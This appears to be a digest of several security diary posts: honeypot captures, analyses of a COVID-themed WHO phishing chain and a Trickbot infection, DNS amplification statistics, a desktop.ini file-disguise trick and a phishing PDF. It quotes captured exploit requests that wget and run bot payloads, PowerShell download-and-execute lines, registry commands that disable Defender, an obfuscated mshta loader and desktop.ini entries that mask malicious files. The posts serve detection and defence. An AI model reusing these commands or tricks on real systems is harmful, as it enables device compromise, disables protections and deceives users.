The following graph shows 86 different files picked picked up in the past week. Obviously some are familiar and non malicious (i.e. robot.txt, favicon.ico, etc) but a lot of the others are suspicious (i.e. various nmap nse scripts).

I included a few interesting GET/POST that got captured over this past week but infortunatly, the files listed in here are no longer available for analysis:

This random hostname (jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz) is no longer active. I was able to find information about it on URLhaus [1] matching the same URL.

• 20200216-112558: 192.168.25.9:80-81.170.246.37:58126 data 'GET /shell?cd /tmp;rm -rf *;wget http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh /tmp/jaws HTTP/1.1\r\nUser-Agent: Hello, world\r\nHost: 127.0.0.1:80\r\nAccept: text/html,application/xhtml xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection: keep-alive\r\n\r\n'

The file (Mozi) is an ELF (Linux) file use by the Mirai botnet [2].

• 20200319-222704: 192.168.25.9:80-110.18.194.228:43884 data 'GET /shell?cd+/tmp;rm+-rf+*;wget+http://110.18.194.228:49906/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1\r\nUser-Agent: Hello, world\r\nHost: 70.30.102.198:80\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection: keep-alive\r\n\r\n'

This IP has been identified as an open proxy used by hackers [3]

• 20200321-033332: 192.168.25.9:80-5.188.210.101:56359 data 'GET http://5.188.210.101/echo.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nPragma: no-cache\r\nCache-control: no-cache\r\nCookie: cookie=ok\r\nReferer: https://www.google.com/\r\nHost: 5.188.210.101\r\nConnection: close\r\nContent-Length: 0\r\n\r\n'

I was able to find information about it on URLhaus [4] matching the same URL and is no longer active.

• 20200321-070843: 192.168.25.9:80-79.12.124.244:60834 data 'POST /boaform/admin/formPing HTTP/1.1\r\nUser-Agent: polaris botnet\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\ntarget_addr=;cd /tmp; rm -rf *; wget http://51.254.23.227/bins/n; chmod 777 n; sh n; rm -rf * /&waninf=1_INTERNET_R_VID_154\r\n\r\n'

If you have a Netgear router, make sure it is patched.

• 20200321-125520: 192.168.25.9:80-120.34.172.232:27813 data 'GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0\r\n\r\n'

[1] https://urlhaus.abuse.ch/host/jhasdjahsdjasfkdaskdfasbot.niggacumyafacenet.xyz/
[2] https://www.virustotal.com/gui/file/832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b/detection
[3] https://ip-46.com/5.188.210.101
[4] https://urlhaus.abuse.ch/url/327495/

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

More and more countries are closing their borders and ask citizens to stay at home. The COVID-19 virus is everywhere and also used in campaigns to lure more victims who are looking for information about the pandemic. I found a malicious email that delivers a multi-stage malware.

It spoofs a World Health Organisation email and pretends to provide recommendations to the victim:

From: World Health Organisation <info@who.org>
To: xxx
Subject: CORONAVIRUS TRAVEL RECOMMENDATIONS

Dear Sir / Madam,

Following the vertiginous spread of the CORONAVIRUS epidemic, which has 
already left more than 4,200 people dead and 119,000 cases worldwide; we
recommend these sanitary measures.

Download these measures [1]

Kind Regards,

WORLD HEALTH ORGANIZATION

Avenue Appia 20
1202 Geneva
Swiss
Phone: + 41-22-7912111

Links:
------
[1] hxxp://bit[.]ly/2W1eAvU

The shortened link redirects to an URL that serves a malicious Word document:

hxxp://216[.]189[.]145[.]11/RECOMMENDATIONS CORONAVIRUS.doc

(This IP is located in the US (a hosting company)

The downloaded document (SHA256:c3379e83cd3e8763f80010176905f147fcc126b5e7ad9faa585d5520386bd659) has a current VT score of 6/60[1]! The document does  have any macro but has two embedded objects:

root@remnux:/malwarezoo# oledump.py “RECOMMENDATIONS CORONAVIRUS.doc”
  1:       114 '\x01CompObj'
  2:       280 '\x05DocumentSummaryInformation'
  3:       416 '\x05SummaryInformation'
  4:      7340 '1Table'
  5:      5304 'Data'
  6: O   26260 'ObjectPool/_1645425484/\x01Ole10Native'
  7:         6 'ObjectPool/_1645425484/\x03ObjInfo'
  8: O   26359 'ObjectPool/_1645425485/\x01Ole10Native'
  9:         6 'ObjectPool/_1645425485/\x03ObjInfo'
10:      4096 'WordDocument'

The two embedded documents are the same and are DOS batch files (SHA256:c8aace2ca96c6e308f374f4b2e425849ca94287aa8ea9768c5a24b38a2167d24), unknown on VT.

When you look at the file, it is heavily obfuscated using Chinese characters:

This script is a downloader and grabs another script via Powershell:

powershell  -WindowStyle Hidden -command "IEX (New-Object Net.WebClient).DownloadFile('hxxp://216[.]189[.]145[.]11/auto.cfg.bat', 'C:\Users\Public\Libraries\auto.cfg.bat');" C:\Users\Public\Libraries\auto.cfg.bat

The new script is obfuscated in the same way. Once launched, it perform the following actions:

It changes system registry keys to affect system security. Some example:

reg  add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f
reg  delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
reg  add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
reg  add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
reg  add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
reg  add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
reg  add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
reg  add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
reg  add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
reg  add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f

The script is also a downloader and grabs another stage via Powershell:

C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.EXE -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZABkAHAALgBuAGUAdAAvAHYAPwBnAHAAbAAxADkAMAA3ADIAMwAnACkA

The Powershell code is:

I.E.X. .(.N.e.w.-.O.b.j.e.c.t. .N.e.t...W.e.b.C.l.i.e.n.t.)...d.o.w.n.l.o.a.d.s.t.r.i.n.g.(.'.h.t.t.p.:././.v...b.d.d.p...n.e.t./.v.?.g.p.l.1.9.0.7.2.3.'.).

Unfortunately, this URL was not responding

Another stage is downloaded. This time, it’s a piece of Javascript code processed via mshta.exe:

mshta  hxxp://GoogleChromeUpdater[.]twilightparadox[.]com:448/html

Here is a beautified version of the code:

<script language="JScript">
window.moveTo(-1337, -2019);
window.blur();
window.resizeTo(2, 4);
try {
    window.onerror = function(sMsg, sUrl, sLine) { return false; }
    window.onfocus = function() { window.blur(); }
} catch (e){}

function NOmOucjRaxBnHwMIf(gpkyaHkgGqh,iavlrtFGhy) {
  var SfYFsjixiguptptyv='';
  while(iavlrtFGhy.length<gpkyaHkgGqh.length) {
    iavlrtFGhy+=iavlrtFGhy;
  }
  for(i=0+0-0;i<gpkyaHkgGqh.length;i+=(2+0-0)) {
    var TcnMXxJMlPhQpMlksnDx=String.fromCharCode(parseInt(gpkyaHkgGqh.substr(i,2+0-0),16+0-0)^iavlrtFGhy.charCodeAt(i/(2+0-0)));
    SfYFsjixiguptptyv=SfYFsjixiguptptyv+TcnMXxJMlPhQpMlksnDx;
  }
  return SfYFsjixiguptptyv;
}

var gXbDAuFXjxYTM="xGYBCFZPNUjKFwPBeiSAxSyettCzqjyFUJMjImpwDmpwlQqatTAgfCPGAQAFiCgaWUYREMMPMJYBkIygwmbEzDPpbAGbtlNPimLLk";
var ckTUCQboJKNoxRgH="ksYuHEQKKuHjHjfFWUCuWQZzzMDMYSJGvrcgEPiLSRVwqPelhmAJInYhMWUJjBrSbFSbnFnFjlOhpPsOTWDPApkTlNxwipMPTVtxBJBtwmtUIElEWCHjKI";
var rZyJSgQdCyJzu="CBgHEmtkzNEWPCDReDwdcjiSEQgFQiyfQWBaGtsSPZPMPYfqGBIBJbQrepPeewKgqWyEtkYeMJsRLCFRwFaZEYCtNOJkqvaQQ";
var sAshjBJYMdMIRSDamX="sQKCisvUKaeuAFbpkganpjeYMdVCduknkLCKKeOhxzFyFejCVCqRcGRGdedcXrnPxJGnrcHviAlGBfbVJXUWArpEpkOFOuwkyxnjUzrCjKjQ";
var vYbxosMmhxPzmH=[String.fromCharCode(gXbDAuFXjxYTM.length),
                    String.fromCharCode(ckTUCQboJKNoxRgH.length),
                    String.fromCharCode(rZyJSgQdCyJzu.length),
                    String.fromCharCode(sAshjBJYMdMIRSDamX.length)
                   ];
var tNInITnWOtBTh=this[vYbxosMmhxPzmH[0+0-0]+vYbxosMmhxPzmH[1+0-0]+vYbxosMmhxPzmH[2+0-0]+vYbxosMmhxPzmH[3+0-0]];tNInITnWOtBTh(NOmOucjRaxBnHwMIf('40093c4e363003611e0b3a6a3a166b154b531a3a2f3c
07741d1f267742150624752c1f373b320f04392307132d312207400d1621000e2b5a236e52600f203f1e420120094c2227553215094018373b2154022b0d1646670203123d6b251f1c37602c60202e34147d120429743e6f380b41480f0d1
[...Long string truncated...]
162c21390d1625753829001b45582d195e01220b4a20216e38341b1b457b6d3a622516272f2e176f1368377635010f3c63250c374a4d75445d20055d0f263f0158480a01350b3c52032f1d56032722461f6235080d16664f3634505a5162
d070a597e55494f27105d3d19554473120161073c054a4d67332c12247e341b1b246f3e0a402521176a0e14257e2e0b7e470d1a2b1a171620022a3b7a67381f0e277b221738264a09611e013e77350b102d18391c363b351c7d0700381b4
707f55623c03362b29046001025e74290b0537643d032c3b4c67022a','6hNnbdN9WFp3lRVn'));
</script>
<hta:application caption="no" windowState="minimize" showInTaskBar="no"
                 scroll="no" navigable="no" />
                 <!--  -->

The Interesting part of the code is the way they obfuscate the ‘eval’ call:

var vYbxosMmhxPzmH=[String.fromCharCode(gXbDAuFXjxYTM.length),
                    String.fromCharCode(ckTUCQboJKNoxRgH.length),
                    String.fromCharCode(rZyJSgQdCyJzu.length),
                    String.fromCharCode(sAshjBJYMdMIRSDamX.length)
                   ];

They convert the length of each variable into a char:

String.fromCharCode(gXbDAuFXjxYTM.length) -> ‘e’
String.fromCharCode(ckTUCQboJKNoxRgH.length) -> ‘v’
...

In the function NOmOucjRaxBnHwMIf(), you can spot a ‘^’ operator that manipulates strings and decrypt the XOR’d code. SpiderMonkey is the perfect tool to decode the JavaScript:

root@remnux:/malwarezoo# js -f /usr/share/remnux/objects.js malicious.js

The script is very nicely obfuscated but, based on first analysis, it looks to be a bot performing POST request at a regular interval... I'll publish my findings about this script in my next diary!

Here is a first step: It exfiltrates data about the infected host:

[1] https://www.virustotal.com/gui/file/c3379e83cd3e8763f80010176905f147fcc126b5e7ad9faa585d5520386bd659/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Introduction

Trickbot is an information stealer/banking malware that uses modules to perform different functions.  With Windows 10, these modules are loaded into memory, and we only see initial Trickbot binary and a text-based configuration file stored on the infected Windows 10 host.

Access to Trickbot-infected hosts is granted to other criminals groups to distribute other malware like Ryuk ransomware.  This sort of follow-up malware has previously been noted in conjunction with Powershell Empire traffic and/or Cobalt Strike activity on a Trickbot-infected host.

But today's diary focuses on one of the distribution methods for the initial Trickbot infection.

Last month on 2020-02-25, I ran across an example of Trickbot (gtag red4) distributed as a Windows DLL file.  Normally, I see Trickbot distributed as an Windows EXE.  2020-02-25 was the first time I personally saw Trickbot distributed and made persistent as a DLL.

On Tuesday 2020-03-17, I ran across another example of Trickbot as a DLL.  This time, it was gtag red5, and I've documented the occasion in today's ISC diary.

Of note, a Trickbot sample's "gtag" indicates its specific method of distribution.  The "red" series gtag has been noted with Trickbot as a DLL file distributed using a JSE downloader.  The image below shows a flow chart for my infection on Tuesday 2020-03-17.

Shown above:  Flow chart for this specific gtag red5 Trickbot infection chain.

Images from the infection

Shown above:  Screenshot of the Word document that kicked off this Trickbot infection.

Shown above:  Enabling macros caused the Word document to save a copy of itself.

Shown above: Meanwhile, I found a JSE file that acted as a malware loader in a newly-created directory named C:\netstats\.

Shown above:  The JSE-based loader PressTableList.jse appears to be highly-obfuscated.

Shown above:  HTTPS/SSL/TLS traffic generated by PressTableList.jse filtered in Wireshark.

Shown above:  Certificate issuer data from HTTPS/SSL/TLS traffic caused by PressTableList.jse.

Shown above:  About 1 hour after the initial infection, I saw signs of a Trickbot infection.

Shown above:  Shortly before the Trickbot traffic, I found evidence of a Trickbot binary saved to the infected Windows host.

Shown above:  The scheduled task to keep Trickbot persistent indicates this Trickbot binary is a DLL.

Shown above:  More Trickbot traffic, including HTTP requests over TCP port 8082 that reveal this Trickbot is gtag red5.

Shown above:  HTTP requests ending in .png that returned follow-up Trickbot binaries (these were EXE files, not DLL or PNG).

Indicators of Compromise (IoCs)

Traffic from an infected Windows host:

JSE loader traffic:

• 185.216.35[.]10 port 443 - HTTPS/SSL/TLS traffic

Trickbot infection traffic:

• port 80 - api.ipify[.]org - GET / [ip address check by the infected host, not inherently malicious]
• 51.254.164[.]245 port 443 - HTTPS/SSL/TLS traffic
• 146.185.253[.]176 port 447 - HTTPS/SSL/TLS traffic
• 181.129.104[.]139 port 449 - HTTPS/SSL/TLS traffic
• 46.4.167[.]250 port 447 - attempted TCP connections but no response from the server
• 64.44.51[.]113 port 447 - attempted TCP connections but no response from the server
• 203.176.135[.]102 port 8082 - 203.176.135[.]102:8082 - POST /red5/[host name]_[windows version].[32-digit hex string in ASCII]/90
• 203.176.135[.]102 port 8082 - 203.176.135[.]102:8082 - POST /red5/[host name]_[windows version].[32-digit hex string in ASCII]/81/
• 51.89.115[.]101 port 80 - 51.89.115[.]101 - GET /images/cursor.png
• 51.89.115[.]101 port 80 - 51.89.115[.]101 - GET /images/imgpaper.png

Malware/artifacts from an infected Windows host

SHA256 hash: 08b885ccc3eda61a918bd1887b7669e54d03be79a3accae765c10cd0850ff10d

• File size: 270,883 bytes
• File name: Info_17033267714.doc
• File description: Word doc with macro for JSE downloader

SHA256 hash: c0fe570561cc3546ed7e03523baf5e482ec9ee98e6a8de161fdc885f6721f0a0

• File size: 49 bytes
• File location: C:\netstats\PressTableList.cmd
• File description: CMD script to run PressTableList.jse
• File content: cscript //nologo c:\netstats\PressTableList.jse
• Note: Not malicious by itself

SHA256 hash: 36ef77fe7b4a27813c8149674565f60aceb2fa9510e04732ef53367ce3dc567a

• File size: 356,006 bytes
• File location: C:\netstats\PressTableList.jse
• File description: JSE-style malware downloader

SHA256 hash: 445716d2fdd0cc8927c02bda53f44cba82f3a934d1a6cb9163760544b3e515e9

• File size: 636,416 bytes
• File location: C:\Users\[username]\AppData\Local\Temp\d26db78fApo6057.pif
• File location: C:\Users\[username]\AppData\Roaming\ElAts\rzd26db78fApo6057nn.vgy
• File description: DLL file retrieved by JSE-style downloader, this is Trickbot gtag red5

SHA256 hash: 262cf3e4da865ff7b028d2f1be407d1d37008644ee89c3e16f4b873e6cde344c

• File size: 20,541 bytes
• File location: C:\Users\[username]\AppData\Roaming\ElAts\settings.ini
• File description: Configuration/settings file used by Trickbot, different file hash and content for each infection. This is not inherently malicious on its own.

SHA256 hash: efb75ce7030fc32190909048fcb3fab024cb8779b9559a417b8d397352ae6ea2

• File size: 696,371 bytes
• File location: hxxp://51.89.115[.]101/images/cursor.png
• File description: Follow-up Trickbot EXE (gtag: tot698) returned from URL ending in .png

SHA256 hash: 3850e5731f9f1430eafd477b5e0607aad48f80bb28e32d163b941414db7f1695

• File size: 696,371 bytes
• File location: hxxp://51.89.115[.]101/images/imgpaper.png
• File description: Follow-up Trickbot EXE (gtag: lib698) returned from URL ending in .png

Final words

A pcap of the infection traffic along with the associated malware can be found here.

---

Brad Duncan
brad [at] malware-traffic-analysis.net

DNS is still a popular protocol to amplify denial of service attacks. A rather small DNS query, sent to an open recursive resolver, can be used to trigger a large response. Over the last few years, DNS servers implemented many countermeasures to make it more difficult to launch these attacks and easier to mitigate them. It also has become easier (but not trivial) to defend against these attacks. But in the end, you still have to "buy your way out" of a denial of service attacks. For smaller organizations, even an average attack can be devastating.

One of our large honeypots acts as an open resolver (with some rate limiting and other precautions to make them less effective as an amplifier). I collected data these last two weeks to see what targets are being attacked and which DNS records are used in these attacks.

The top two records (by a far distance) for DNS amplification these two weeks have been "access-board.gov" and the name servers for the root zone ("Root Hints"). .gov domains are very popular for two reasons: First of all, .gov supports DNSSEC, and with that responses tend to be larger. With DNSSEC also comes EDNS0 support, which allows for responses via UDP exceeding 512 bytes. These large responses may be fragmented and more difficult to block. Secondly, ".gov" is often considered trusted or even essential and not blocked as a result.

This chart of the top 4 domains used shows how the "access-board.gov" and "root" queries dominated the traffic

The access-board.gov ANY record is 2020 bytes long. It includes only one 'A' record. The remaining data is DNSSEC keys and signatures. Worse are domains like "peacecorp.gov". "peacecorp.gov" is also often used in DDoS attacks. the "ANY" record for peacecorps.gov is 3629 bytes long due to a number of TXT records that are included.

The Root NS record is not quite as long. But Windows DNS servers will respond to it by default which provides for a large set of possible reflectors. A short query (about 20 bytes) will result in 823 byte responses.

But who are the targets of these attacks? During these 2 weeks, we did see 368 targets. The top targets are IRC server. I guess some things never change, and IRC servers are still at the top of the DDoS list. What is probably more notable: The list is missing "household names" and appears more or less random. These attacks hit small businesses and home systems, not large banks and other "well known" services. Part of this is likely due to the fact that these larger companies have defenses in place to counter simple reflective DNS DDoS attacks. Smaller businesses are missing these defenses and are more vulnerable. 

The top 10 victims ("Shared" means the server hosted multiple domains. "unknown" for servers that I couldn't reach (maybe as a result of the attacks) or a server where I couldn't figure out the purpose)

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

Desktop.ini files have been part of Windows operating systems for a long time. They provide users with the option to customize the appearance of specific folders in File Explorer, such as changing their icons[1]. That is not all they are good for, however.

Couple of months back, I noticed a small weakness/vulnerability in the way desktop.ini files are interpreted by File Explorer, which may be used to hide files and folders from a user without a need to delete them or to substitute different file/folder for a valid one. As you can probably imagine, this might lead to users executing unintended code or reading from/writing to unintended folders or files and could therefore be quite useful for certain red teaming activities or malicious actions (as well as for pulling pranks on co-workers, but we’ll leave that aside).

It is possible I wasn’t the first one to notice the issue, but since I didn’t find any write-ups of it anywhere else (and since Microsoft informed me that they will not be fixing the vulnerability in the current version of the OS and don’t mind if I publish it), I thought I’d share it here.

UPDATE: It turns out that Adam, aka @Hexacorn, did a write-up of the folder re-naming capability of desktop.ini all the way back in 2012. You may find it here.

Before we get into the details of how it may be exploited, let’s take a quick look at the conditions under which desktop.ini files are interpreted by File Explorer. When a desktop.ini file is created by the operating system, it has the Hidden (H) and System (S) attributes set. You may check this by having Windows create one (e.g. by going to Properties of a folder and changing its icon on the Customize tab) and then looking at its attributes using the attrib command.

Although these attributes are customary for desktop.ini files, they are not necessary in order for them to be interpreted by File Explorer. In fact, the file itself doesn’t have to have any special attributes set, but the folder containing the desktop.ini file needs to be Read-only (i.e. the “R” attribute).

Besides that, of course, the desktop.ini file needs to have valid contents conforming to the INI format[2]. The following example shows a correctly formatted desktop.ini.

[.ShellClassInfo]
IconResource=C:\WINDOWS\System32\SHELL32.dll,8

So where is the vulnerability?

It lies in the fact that an icon of a folder isn’t the only thing which may be changed using desktop.ini. The name of the folder, as well as the names of all files it contains, may seemingly be changed as well. This may be done with the use of “LocalizedResourceName” key and the “LocalizedFileNames” section. If these are present in a desktop.ini file, the File Explorer (other file managers will still display files normally) will display names provided by them instead of the real ones.

The name of a folder may be changed by setting LocalizedResourceName in its desktop.ini file in the following way.

[.ShellClassInfo]
LocalizedResourceName=Benign files

As you may see, our folder “Malicious files” becomes “Benign files”. Using this mechanism, it is even possible to create multiple folders with the (seemingly) same name in the same path (more on that later).

Changing of file names using desktop.ini is similar – one only needs to use the LocalizedFileNames section, as the following example shows.

[LocalizedFileNames]
malicious_file.exe=bening_file
benign_file.exe=unimportant_file

As you may see, the malicious_file.exe is now displayed as benign_file.exe (at least in File Explorer), and the original benign_file.exe was seemingly re-named to unimportant_file.exe. If you’d like to try this out on your own system, you may download an archive containing the folder used in the example from https://untrustednetwork.net/files/ISC/2020/Desktop_ini.zip.

Since almost any string may be used for the “fake” file or folder name, there is quite a large potential for misuse of this behavior of File Explorer, as you can probably imagine.

Although a hypothetical attacker would have to have high enough privileges to write desktop.ini to any folder he would wish to use (and potentially to set the folder to be “read-only”), the fact that the behavior is the same on local drives as on remote shares makes the above-described technique viable for the post-exploitation phase of a red team engagement.

Two main scenarios for use of the vulnerability come to mind:

1. A red teamer/malicious actor could create a folder named “abc” and place it on a file system in the same path, where a folder, which is inaccessible to him and into which other users write confidential information (e.g. a “Salaries” folder), is placed. The malicious actor could then set the folder “abc” with a “read-only” attribute and place in it a desktop.ini with the following contents:

   [.ShellClassInfo]
   LocalizedResourceName=Salaries

   This would result in two folders named “Salaries” seemingly existing in the same path and since File Explorer usually displays folders alphabetically, the fake “Salaries” folder would be displayed first (as it’s name really starts with “a”). A user could then easily make the mistake of saving a file into the fake “Salaries” folder instead of the legitimate one.

2. A red teamer/malicious actor could substitute one file for another and cause a legitimate user to open/modify/execute/delete the wrong one. An example might be substituting one executable (malicious) for another (benign), as was shown in one of the previous examples.

It should be noted that none of the above-mentioned activities would result in any detectable events in terms of re-naming of the files or folders themselves, given that no “re-naming” actually takes place. On the other hand, since new desktop.ini files are only seldom created, especially on network files shares, one potential detection mechanism for attempted use of these techniques could be to simply monitor any newly created files named desktop.ini on any sensitive file system.

I should add that I tested the behavior only on Windows 10 and Windows 7, but I wouldn’t be surprised if other Windows OSs behaved in the same manner.

As you may see, desktop.ini files may really be used for much more than just changing a folder icon. And although the techniques described above are mainly useful for (if anything) red teaming, either when interacting with a shared-computer environment or with network file shares, it is definitely good to be aware of them, whether one leans more toward the blue or red side of the infosec spectrum.

[1] https://docs.microsoft.com/en-us/windows/win32/shell/how-to-customize-folders-with-desktop-ini
[2] https://en.wikipedia.org/wiki/INI_file#Format

-----------
Jan Kopriva
@jk0pr
Alef Nula

Because most individuals are going to have to work remotely from home, the activity that should be scrutinized over the coming weeks would be ports associated with VPN like OpenVPN (1194) or SSL VPN (TCP/UDP 443, IPsec/IKEv2 UDP 500/4500) with their associated logs to ensure these services are accessed by the right individuals and are not abused, exploited or compromised. It will be very important the VPN service is patched and up-to-date because there will be way more scrutiny (scanning) against these services. Capturing metrics about performance and availability will be very important to ensure mission critical systems and applications can be accessed to avoid downtime.

Some difficult questions will need to be answers:

How many concurrent users can login at the same time?
Will the vpn corporate policy be relaxed to accommodate the maximum of employees?
Who gets priority access if the appliance or service cannot support everyone?
How much bandwidth a typical user use?
Do you split access time between users (i.e. each gets 2 hours)?
Number of VPN license or MFA token available
Are users allowed to use the personal computer?
If personal computers are allowed:

• What is their security posture (patches, AV update, etc)?
• Can they be trusted?
• What files or shares are employees allowed to access?

What are the alternative?

[1] https://www.dshield.org/forums/diary/Network+Security+Perspective+on+Coronavirus+Preparedness/25750

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Someone asked me for help with this phishing PDF.

Taking a look with pdfid.py:

Nothing to see here, except Stream Objects (/ObjStm). When stream objects are detected, it's best to generate statistics (-a) with pdf-parser.py while parsing stream objects too (-O), like this:

And here we see that this PDF contains URLs (/URI). Thus we can filter for URLs like this:

Now, this person that contacted me had figured this all out, but had a specific question: why 4 different URLs, when the rendered PDF shows only one link:

The reason is incremental updates. An incremental update is an update to a PDF (a modification) by appending a modified copy of all objects to be updated, while leaving the original objects intact. Incremental updates are delimited by %%EOF: this can be detected with pdfid.py option -e:

Option -e provides extra information, for example a counter for string %%EOF.

We can see that %%EOF appears 5 times here, hence it's likely that there are several incremental updates in this PDF.

Coming back to this result, all URIs are in objects with index 41: this too is an indication of incremental updates (objects keep their index number when copied & modified via incremental updates):

The second instance of object 41 is separated from the first instance of object 41 by %%EOF: this means that the second instance is an incremental update. It's a copy of the first instance, with a modified /URI.

And the same goes for the third and fourth instances:

That is the technical explanation: this PDF documents contains several URLs, with only one active, and this is achieved via incremental updates.

But why is this happening at all? My hypothesis: this malware author is reusing the same PDF for different phishing campaigns, and is not aware that his tool creates incremental updates (as opposed to normal updates, where objects are modified in-place). One element to support this hypothesis, is the fact that the metadata (object 2) is also modified via these incremental updates:

Here is the content of the XML metadata of the first instance of object 2:

According to this metadata, the PDF document is created with Microsoft Word, by "tdl lester", and we have creation and modification timestamps in ISO format. I can extract these with my tool re-search.py:

These timestamps show that this was modified on 4 different dates. The last date, January 31st 2020 corresponds to the submission on VirusTotal. I was not able to find the other documents on VirusTotal, neighter via ISO timestamps nor via hashes of the original PDFs (original PDFs can be easily recovered from "incremental update" PDFs: remove all bytes after a %%EOF element).

But I was able to find 27 PDFs on VirusTotal by searching for "tdl lester", which I will analyze later.

 

My answer to the question "why does this PDF contain 4 URLs, with only one active?": this PDF contains incremental updates, the malware author is reusing the same document for different phishing campaigns, and the inactive URLs you see are from prior phishing campaigns.

 

One last remark concerning the metadata: the ISO modification timestamps have a UTC timezone of -08:00. The Pitcairn Islands are part of that TZ. Imagine that this phishing PDF document was created by a descendant of a Bounty mutineer ...

 

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

VMware Security Avisory VMSA-2020-0004 ( https://www.vmware.com/security/advisories/VMSA-2020-0004.html ) outlines a fix for a user-after-free bug in vmnetdhcp that allows guests to execute code in the host.  Affected platforms are: VMware Workstation Pro / Player, VMware Fusion Pro / Fusion, VMware Horizon Client for Windows, VMware Remote Console for Windows (VMRC for Windows)

This all started with a simple request.  A client had purchased some new, shiny networking gear, and in each failover pair the active unit was sending 1 "Runt" per second.

A "runt" is a frame that is smaller than the legal minimum, in other words, 64 bytes.  I guess it doesn't qualify as a packet, since the frame would encapsulate the packet, and since the frame isn't valid to decapsulate, there is no packet to see. Usually you see runt frames when you have a duplex mismatch, in this case it looks like they were inflicted on us by the driver on this piece of gear.  In addition to the switch port's "runt" counter incrementing, the "input error" counter on the switch port is counting up in lock step.

No problem, go to the vendor and get it fixed with an update is the answer you'd expect.  But no, the vendor doesn't believe us, or at least not enough to do anything, they want us to capture some of these frames.

OK, so I start by setting up a capture session on the switch, with a SPAN / mirror port.  At this point I find out that the switch port drops invalid frames before they are even completely recieved, so this approach only forwards the valid frames.

Next, we tried using a TAP (an inline network device that has a "listener" port).  It turns out that most modern TAPs (1Gbps or better) are active devices, they're essentially small switches and have the same issue as the switch I was starting from.  So we tried using a passive tap, which is essentially an electrical device that has the "Rx" ethernet pins "tee'd" off to the listener port.  This works!  On with the capture we said!

Not so fast!  Your ethernet NIC does the same thing as a switch port, the hardware drops invalid frames before they reach the OS.  Luckily in Linux you can adjust this, you can use the "ethtool" tool to disable this feature:

ethtool -K eth0 rx-fcs on  will enable the receive of frames that fail the fcs (frame checksum) check.
ethtool -K eth0 rx-all on  will enable receiving of other invalid frames (like runts)

These options are not available for any Windows drivers I've been able to find - you'd expect to find them under the "advanced" tab for the driver configuration.

OK, all that said, good to go right?
Nope, these options aren't available on many NICs, especially USB NICs like we're forced to use on so many modern laptops.

ethtool -k eth0 | grep rx  will list all the receive options available on your NIC.

Most USB adapters are either Realtek or ASIX, and they both show the two key flags as "fixed", as in not changeable.  I had an older Broadcom USB NIC (the Apple Thunderbolt-2 Ethernet card), same deal:

Realtek	ASIX	Broadcom
# dmesg | grep eth1 [  361.904443] r8152 2-5:1.0 eth1:v1.09.9	# dmesg | grep eth1 [   41.506128] ax88179_178a 2-5:1.0 eth1: register 'ax88179_178a' at usb-0000 :00:14.0-5, ASIX AX88179 USB 3.0 Gigabit Ethernet, 00:24:9b:1e:a9:94	# dmesg | grep eth1 [   89.179919] tg3 0000:3e:00.0 eth1: Tigon3 [partno(BCM957762) rev 57766000] (PCI Express) MAC address 68:fe:f7:08:0e:e7

 

Realtek	ASIX	Broadcom
